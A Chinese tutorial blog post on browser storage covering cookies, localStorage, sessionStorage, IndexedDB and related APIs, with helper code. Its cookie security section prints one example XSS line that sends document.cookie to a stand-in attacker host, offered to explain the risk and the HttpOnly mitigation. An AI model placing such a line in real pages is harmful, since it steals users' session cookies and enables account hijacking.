浏览器的存储技术

在做项目的过程中,经常需要把数据存储在本地,便于提高用户的体验效果等,如权限验证的token、用户信息、数据埋点、客户端皮肤语言配置等等。因此,向总结一篇详细的文章来归纳浏览器的存储技术。

一、前言

首先,看下图谷歌浏览器控制台的 Application 一栏,我们可以发现左侧一列基本涵盖了浏览器的所有存储方式,因此,下面讲针对这一块进行归纳整理。


chrome Application栏

对浏览器的所有本地存储技术,可以划分为如下图


浏览器的数据存储技术.png

二、Cookie

1. 介绍

Cookie,也称HTTP Cookie,是服务器发送到用户浏览器并保存在本地的一小块数据,并在浏览器下次向同一台服务器发起请求时,携带并发送到服务器上。通常,用于告知服务器两个请求是否来自同个浏览器,如用户的登录状态、首选项等。从底层上看,它是HTTP协议的一种扩展实现。

2. 组成结构

[name] [value] [path] [domain] [expires] [secure] [httponly]
[键] [值] [路径] [所属域] [过期时间] [secure flag] [httponly flag]

name=value是必选项,其它都是可选项

name:一个唯一确定的cookie名称。通常来讲cookie的名称是不区分大小写的。

value:存储在cookie中的字符串值。最好为cookie的namevalue进行URI编码

path:在指定路径的时候,凡是来自同一服务器,URL里有相同路径的所有页面都可以共享cookie。以字符 %x2F ("/") 作为路径分隔符,子路径也会被匹配。如,Path=/docs,则docs/test可以共享使用/docs页面创建的cookie。

domain:cookie对于哪个域是有效的。所有向该域发送的请求中都会包含这个cookie信息。如果不指定,默认为 origin,不包含子域名。如果设置 Domain=mozilla.org,则 Cookie 也包含在子域名中(如developer.mozilla.org)。

expires:失效时间,表示cookie何时应该被删除的时间戳(也就是,何时应该停止向服务器发送这个cookie)。如果不设置这个时间戳,浏览器会在页面关闭时即将删除所有cookie;不过也可以自己设置删除时间。这个值是GMT时间格式,如果客户端和服务器端时间不一致,使用expires就会存在偏差。

max-age:与expires作用相同,用来告诉浏览器此cookie多久过期(单位是秒),而不是一个固定的时间点。正常情况下,max-age的优先级高于expires

Secure: 安全标志,指定后,只能在HTTPS连接中被浏览器传递到服务器端进行会话验证,如果是HTTP连接则不会传递该信息。就算设置了secure属性也并不代表他人不能看到你机器本地保存的cookie信息,所以不要把重要信息放cookie。这项设置通常在服务器端设置。

HttpOnly: 告知浏览器不允许通过脚本document.cookie去更改这个值,同样这个值在document.cookie中也不可见。但在http请求仍然会携带这个cookie。注意这个值虽然在脚本中不可获取,但仍然在浏览器安装目录中以文件形式存在。这项设置通常在服务器端设置。

SameSiteCookie允许服务器要求某个cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。有三个值:None(浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写)、Strict(浏览器将只在访问相同站点时发送 cookie)、Lax(与 Strict 类似,但用户从外部站点导航至URL时(例如通过链接)除外。)

3. 生命周期

会话期 Cookie:浏览器关闭后会自动被删除,即仅在会话期有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。

注意:有些浏览器提供恢复会话功能,即关闭浏览器的情况下,会话期的cookie仍被保存,这导致cookie生命周期无限延长。

持久性 Cookie:生命周期取决于过期时间(Expires)或有效期(Max-Age)指定的一段时间。

注意:当Cookie的过期时间被设定时,设定的日期和时间只与客户端相关,而不是服务端。所以当访问了跨时区的服务器时,容易存在误差。

4. 优点

Cookie的API很早定义并实现,所以基本兼容所有的主流浏览器

5. 缺点

1. 存储容量小。虽然不同浏览器的存储量不同,但基本都在4KB左右。
2. 浪费带宽。因为浏览器每次请求的请求头都会携带cookie,若cookie信息过多时,会影响资源的加载效率,浪费带宽资源。
3. 存储格式限制。只能存储字符串。
4. 安全问题。如果cookie存放着用户的敏感信息且没有加密时,如果cookie被窃取到,攻击者可以利用xss对cookie进行覆盖,盗用用户账号。
5. 用户设置禁用cookie。第三方cookie的滥用,高端用户就会开启禁用cookie,这时候设置cookie前,还需检测用户是否支持cookie,比较麻烦。

6. 操作

cookie主要有三个操作:读取、写入、删除,但是处理起来非常繁琐,因为cookie的key和value都需要使用encodeURIComponent进行URI编码,所以读取的时候,需要用decodeURIComponent进行解码。因此,封装成一个操作对象,如下。

对于永久cookie我们用了Fri, 31 Dec 9999 23:59:59 GMT作为过期日。如果你不想使用这个日期,可使用世界末日Tue, 19 Jan 2038 03:14:07 GMT

var CookieUtil = {
  // 获取cookie值
  getItem: function (sKey) {
    return (
      decodeURIComponent(
        document.cookie.replace(
          new RegExp(
            '(?:(?:^|.*;)\\s*' +
              encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') +
              '\\s*\\=\\s*([^;]*).*$)|^.*$',
          ),
          '$1',
        ),
      ) || null
    );
  },
  // 设置cookie
  setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
    if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) {
      return false;
    }
    var sExpires = '';
    if (vEnd) {
      switch (vEnd.constructor) {
        case Number:
          sExpires =
            vEnd === Infinity ? '; expires=Fri, 31 Dec 9999 23:59:59 GMT' : '; max-age=' + vEnd;
          break;
        case String:
          sExpires = '; expires=' + vEnd;
          break;
        case Date:
          sExpires = '; expires=' + vEnd.toUTCString();
          break;
        default:
          sExpires = '';
      }
    }
    document.cookie =
      encodeURIComponent(sKey) +
      '=' +
      encodeURIComponent(sValue) +
      sExpires +
      (sDomain ? '; domain=' + sDomain : '') +
      (sPath ? '; path=' + sPath : '') +
      (bSecure ? '; secure' : '');
    return true;
  },
  // 删除已有cookie
  removeItem: function (sKey, sPath, sDomain) {
    if (!sKey || !this.hasItem(sKey)) {
      return false;
    }
    document.cookie =
      encodeURIComponent(sKey) +
      '=; expires=Thu, 01 Jan 1970 00:00:00 GMT' +
      (sDomain ? '; domain=' + sDomain : '') +
      (sPath ? '; path=' + sPath : '');
    return true;
  },
  // 判断是否存在这个cookie
  hasItem: function (sKey) {
    return new RegExp(
      '(?:^|;\\s*)' + encodeURIComponent(sKey).replace(/[-.+*]/g, '\\$&') + '\\s*\\=',
    ).test(document.cookie);
  },
  // 获取所有cookie的key
  keys: function () {
    var aKeys = document.cookie
      .replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, '')
      .split(/\s*(?:\=[^;]*)?;\s*/);
    for (var nIdx = 0; nIdx < aKeys.length; nIdx++) {
      aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]);
    }
    return aKeys;
  },
};

7. 安全

会话劫持和XSS

如果攻击者获取到你的cookie信息,只需要在页面添加(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;这句代码,就可以访问到你的信息。
解决方法:通过设置HttpOnly可一定程度上,缓解此类攻击。

跨站请求伪造CSRF

如果你登陆了你的银行账户并且cookie还有效,然后你看到一个有意思的危险网站,点击进去,里面刚好有一张图片,这时候就利用了你的cookie信息,你以为在加载图片,实际向银行发送了一个转帐的请求。结果就是,你的钱都没了。
解决方法:给敏感信息较短的声明周期;敏感操作要慎重。

cookie防护
  • cookie不要存放敏感信息
  • 加防篡改验证码,给登录加个随机验证码
  • 对cookie加密
  • 强制要求开启HTTPS
  • 对重要值加HttpOnly

参考链接
MDN-什么是cookie
MDN-Document.cookie用法
浅谈cookie安全
前端持久化之浏览器存储技术

三、Web Storage

Web Storage主要由local storagesession storage组成,那么,相比cookie,Web Storage有什么优势呢?

1. 减少网络流量
请求一次数据保存后,可以避免再次向服务器请求数据,减少不必要的请求,并且不必在服务器和浏览器之间来回传递。
2. 快速显示数据
无需等待加载数据,使用缓存立即渲染页面,提高用户体验效果。
3. 存储空间更大
IE8下每个独立的存储空间为10M,其他浏览器实现略有不同,但都比Cookie要大很多。
4. 存储内容不会发送至服务器
Cookie的内容会随请求一并发送给服务器,造成带宽浪费;而web storage只存储在本地,不会跟服务器有任何交互。
5. 更简单易用的接口
web storage提供了添加、删除、获取数据的接口。
6. 独立存储空间
每个域(包括子域)有独立的存储空间,各个存储空间是完全独立的,因此不会造成数据混乱。

1. Local Storage

locaStorage在浏览器端通过键值对存储数据,虽然localStorage只能存储字符串,但它也可以存储字符串化的JSON数据。IE8+支持,每个域名限制5M

通过localStorage存储的数据时永久性的,除非我们使用removeItem来删除或者用户通过设置浏览器配置来删除,否则数据会一直保留在用户的电脑上,永不过期。

localStorage的作用域只有同源才能互相共享数据,同时也受浏览器的限制。

MDN-window.localStorage用法

2. Session Storage

local storage差不多,唯一的区别就是,Session Storage只存储当前会话页的数据,且只有当用户关闭当前会话页或浏览器时,数据才会被清除,但是用户刷新会话页仍能保存数据。

MDN-window.sessionStorage用法

3. 操作

local storagesession storage的API基本差不多,所以可以对其两个进行封装,代码如下,

function createStorage(storage = window.localStorage) {
  return {
    get: (key) => {
      return storage.getItem(key);
    },
    /**
     * 读取一个对象(使用JSON.parse解析)
     */
    getObject: (key) => {
      const value = storage.getItem(key);
      let res;
      try {
        res = JSON.parse(value);
      } catch (e) {
        res = {};
      }
      return res;
    },
    set: (key, value) => {
      storage.setItem(key, value);
    },
    /**
     * 设置一个对象(使用JSON.stringify序列化)
     */
    setObject: (key, value) => {
      storage.setItem(key, JSON.stringify(value));
    },
    remove: (key) => {
      return storage.removeItem(key);
    },
    // 移除所有数据
    clear: () => {
      return storage.clear();
    },
  };
}

export const localStorage = createStorage(window.localStorage);
export const sessionStorage = createStorage(window.sessionStorage);

四、本地数据库

HTML5 indexedDBWeb SQL Database都是本地数据库数据存储。Web SQL Database数据库要出来的更早,但是从2010年11月18日W3C宣布舍弃Web SQL database草案开始,就已经注定Web SQL Database数据库是明日黄花。

IndexedDB

1. 相关概念

IndexedDB 是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。该 API 使用索引实现对数据的高性能搜索。

IndexedDB 是一个事务型数据库系统,是一个基于 JavaScript 的面向对象数据库。IndexedDB 允许您存储和检索用索引的对象;可以存储结构化克隆算法支持的任何对象。您只需要指定数据库模式,打开与数据库的连接,然后检索和更新一系列事务

IndexedDB 也遵守同源策略。同时,使用 IndexedDB 执行的操作是异步执行的,以免阻塞应用程序。

那么,IndexedDB数据存储在哪呢?一般是存储在本地磁盘上,浏览器会计算分配给web数据存储的空间大小,当超过空间大小时,则进行删除。其中,数据存储的类型划分为持久化存储(需用户手动删除)和临时存储(超过被分配的空间大小则自动清理)。

你可能会想那它的存储大小限制呢?浏览器的存储限制有两个,分别是全局限制组限制。全局限制的空间大小取决于你的磁盘空间大小,组限制的空间大小取决于全局限制的20%,但它至少有10 MB,最大为2GB。
何为组限制?例如,mozilla.org、www.mozilla.org和joe.blogs.mozilla.org可聚合为同组,他们共用同一个组空间。

2. 基本语法

1)打开数据库

var db;
const dbName = 'project';
const version = 1;

// 创建/打开数据库
// dbName 数据库名
// version 版本号,只能是整数
const DBOpenRequest= IndexedDB.open(dbName , version)

DBOpenRequest.onerror = function() {
    // 创建数据库失败时的回调函数
}
DBOpenRequest.onsuccess = function() {
    // 创建数据库成功时的回调函数
    db = DBOpenRequest.result;
}

// 执行于:数据库首次创建版本,或者window.indexedDB.open传递的新版本(版本数值要比现在的高)
DBOpenRequest.onupgradeneededd = function(e) {
     // 当数据库改变时的回调函数
     // 通常对主键,字段等进行重定义
}

2)创建主键和字段
一般在对数据库增删查改数据之前,我们需要先建表,而IndexedDB则需要先建存储对象objectStore

常用API(具体可查看MDN-IDBObjectStore)

  • objectStore.add()向数据库添加数据
  • objectStore.delete()删除数据
  • objectStore.clear()清空数据库
  • objectStore.put()可以替换数据
DBOpenRequest.onupgradeneeded = function(event) {
    var db = event.target.result;

    // 创建一个数据库存储对象
    var objectStore = db.createObjectStore(dbName, { 
        keyPath: 'id',
        autoIncrement: true
    });

    // 定义存储对象的数据项
    objectStore.createIndex('id', 'id', {
        unique: true    
    });
    objectStore.createIndex('name', 'name');
    objectStore.createIndex('begin', 'begin');
    objectStore.createIndex('end', 'end');
    objectStore.createIndex('person', 'person');
    objectStore.createIndex('remark', 'remark');
};

其中,objectStore.createIndex(indexName, keyPath, objectParameters)

  • indexName:创建的索引名称,可以使用空名称作为索引;
  • keyPath:索引使用的关键路径,可以使用空的keyPath, 或者keyPath传为数组keyPath也是可以的;
  • objectParameters:可选参数。常用参数之一是unique,表示该字段值是否唯一,不能重复。

3)添加数据
前面提过了,IndexedDB是事务型数据库,所以数据库的操作都是基于事务(transaction)来进行,于是,无论是添加编辑还是删除数据库,我们都要先建立一个事务(transaction),然后才能继续下面的操作。

let transaction = db.transaction([dbName], "readwrite");
// 打开已经存储的数据对象
let objectStore = transaction.objectStore(dbName);
// 添加到数据对象中
let objectStoreRequest = objectStore.add(newItem);        
// 添加成功回调函数
objectStoreRequest.onsuccess = function(event) {
  ....
};

4)编辑数据
原理:先根据id获得对应行的存储对象,方法为objectStore.get(id),然后在原存储对象上进行替换,再使用objectStore.put(record)进行数据库数据替换。

function edit(id, data) {
  // 编辑数据
  let transaction = db.transaction([dbName], "readwrite");
  // 打开已经存储的数据对象
  let objectStore = transaction.objectStore(dbName);
  // 获取存储的对应键的存储对象
  let objectStoreRequest = objectStore.get(id);
  // 获取成功后替换当前数据
  objectStoreRequest.onsuccess = function(event) {
  // 当前数据
  let myRecord = objectStoreRequest.result;
  // 遍历替换
  for (let key in data) {
       if (typeof myRecord[key] != 'undefined') {
           myRecord[key] = data[key];
       }
  }
  // 更新数据库存储数据                
  objectStore.put(myRecord);
}

5)删除数据

function (id) {
    // 打开已经存储的数据对象
    let objectStore = db.transaction([dbName], "readwrite").objectStore(dbName); 
    // 直接删除 
    let objectStoreRequest = objectStore.delete(id);
    // 删除成功后
    objectStoreRequest.onsuccess = function() {
        ...
    };
}

6)数据获取
indexedDB数据库的获取使用“游标API”(Cursor APIs)和“范围API”(Key Range APIs)。

读取全部数据

let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存储对象的openCursor()打开游标
objectStore.openCursor().onsuccess = function(event) {
    let cursor = event.target.result;
    if (cursor) {
        // cursor.value就是数据对象
        console.log(cursor.value);
        // 游标没有遍历完,继续
        cursor.continue();
    } else {
        // 如果全部遍历完毕...
    }
}

读取某个范围内的数据

// 确定打开的游标的主键范围
// key > x && ≤ y
// 表示id从4~10之间的数据,true的时候不能和范围边界相等,false则需要相等
let keyRangeValue = IDBKeyRange.bound(4, 10, true, false);
let objectStore = db.transaction(dbName).objectStore(dbName);
// 使用存储对象的openCursor()打开游标
objectStore.openCursor(keyRangeValue).onsuccess = function(event) {
    let cursor = event.target.result;
    if (cursor) {
        // cursor.value就是数据对象
        console.log(cursor.value);
        // 游标没有遍历完,继续
        cursor.continue();
    } else {
        // 如果全部遍历完毕...
    }
}

其中,bound()范围内,only()仅仅是,lowerBound()小于某值,upperBound()大于某值

7)数据库关闭和删除

db.close(); // 关闭数据库连接
window.indexedDB.deleteDatabase(dbName); // 删除数据库
3. 局限性

1)存储限制
indexedDB存储比较适合键值对较多的数据,且无需数据转换;web Storage每次写入和写出都要字符串化和对象化。

2)兼容性
indexedDB存储IE10+支持,web Storage存储IE8+支持,后者兼容性更好。

IndexedDB兼容性

3)扩展性
indexedDB存储可以在workers中使用,便于进行PWA开发,但是web Storage好像不行。

Web SQL

都废弃了,没啥好学的,下面内容可以跳过...

indexedDBWeb SQL Database对比内容:

WebSQL IndexedDB
优点 真正意义上的关系型数据库,类似SQLite(SQLite是遵守ACID的轻型的关系型数据库管理系统) 1. 允许对象的快速索引和搜索,因此在Web应用程序场景中,您可以非常快速地管理数据以及读取/写入数据。2. 由于是NoSQL数据库,因此我们可以根据实际需求设定我们的JavaScript对象和索引。3. 在异步模式下工作,每个事务具有适度的粒状锁。这允许您在JavaScript的事件驱动模块内工作。
不足 规范不支持啦;由于使用SQL语言,因此我们需要掌握和转换我们的JavaScript对象为对应的查询语句;非对象驱动。 如果你的世界观里面只有关系型数据库,恐怕不太容易理解。
位置 包含行和列的表。 包含JavaScript对象和键的存储对象。
查询机制 SQL Cursor APIs,Key Range APIs,应用程序代码
事务 锁可以发生在数据库,表,行的“读写”时候。 锁可以发生在数据库版本变更事务,或是存储对象“只读”和“读写”事务时候。
事务提交 事务创建是显式的。默认是回滚,除非我们调用提交。 事务创建是显式的。默认是提交,除非我们调用中止或有一个错误没有被捕获。
image.png

参考链接
HTML5 indexedDB前端本地存储数据库实例教程
MDN-IndexedDB
MDN-IndexedDB 浏览器存储限制和清理标准

五、Cache API

这是一个实验中的功能,目前暂时只有chrome和Firefox浏览器部分支持,其他浏览器还不太行,所以不在这里做过多扩展说明,想了解可以看这个链接MDN-Cache。

六、其他

1)Manifest

Web应用程序清单在一个JSON文本文件中提供有关应用程序的信息(如名称,作者,图标和描述),是渐进式Web应用程序(PWA)的Web技术集合的一部分。manifest 的目的是将Web应用程序安装到设备的主屏幕,为用户提供更快的访问和更丰富的体验。

部署到HTML页面的方式,在文件头添加一个链接


具体使用参数请参考manifest参数

2)Application Cache:通过manifest配置文件在本地有选择性地存储javascriptcss、图片等静态资源文件的文件缓存机制,已废弃。

3)Cache Storage:在ServiceWorker规范中定义的,用于保存每个ServiceWorker(声明的Cache对象,未来可能替代Application Cache的离线方案。 之后,会整理一篇关于ServiceWorker的文章。

4)Flash缓存:主要基于Flash,具有读写浏览器本地目录的功能。

七、适用场景

Web Storage:如果是浏览器主窗体线程开发,同时存储数据结构简单;
IndexedDB:如果数据结构比较复杂,同时对浏览器兼容性没什么要求,可以考虑使用indexedDB;如果是在Service Workers中开发应用,只能使用indexedDB数据存储。

参考链接

MDN-客户端存储
MDN-manifest
chrome-devtools的浏览器存储
聊一聊常见的浏览器端数据存储方案
突破本地离线存储5M限制的JS库localforage简介

你可能感兴趣的:(浏览器的存储技术)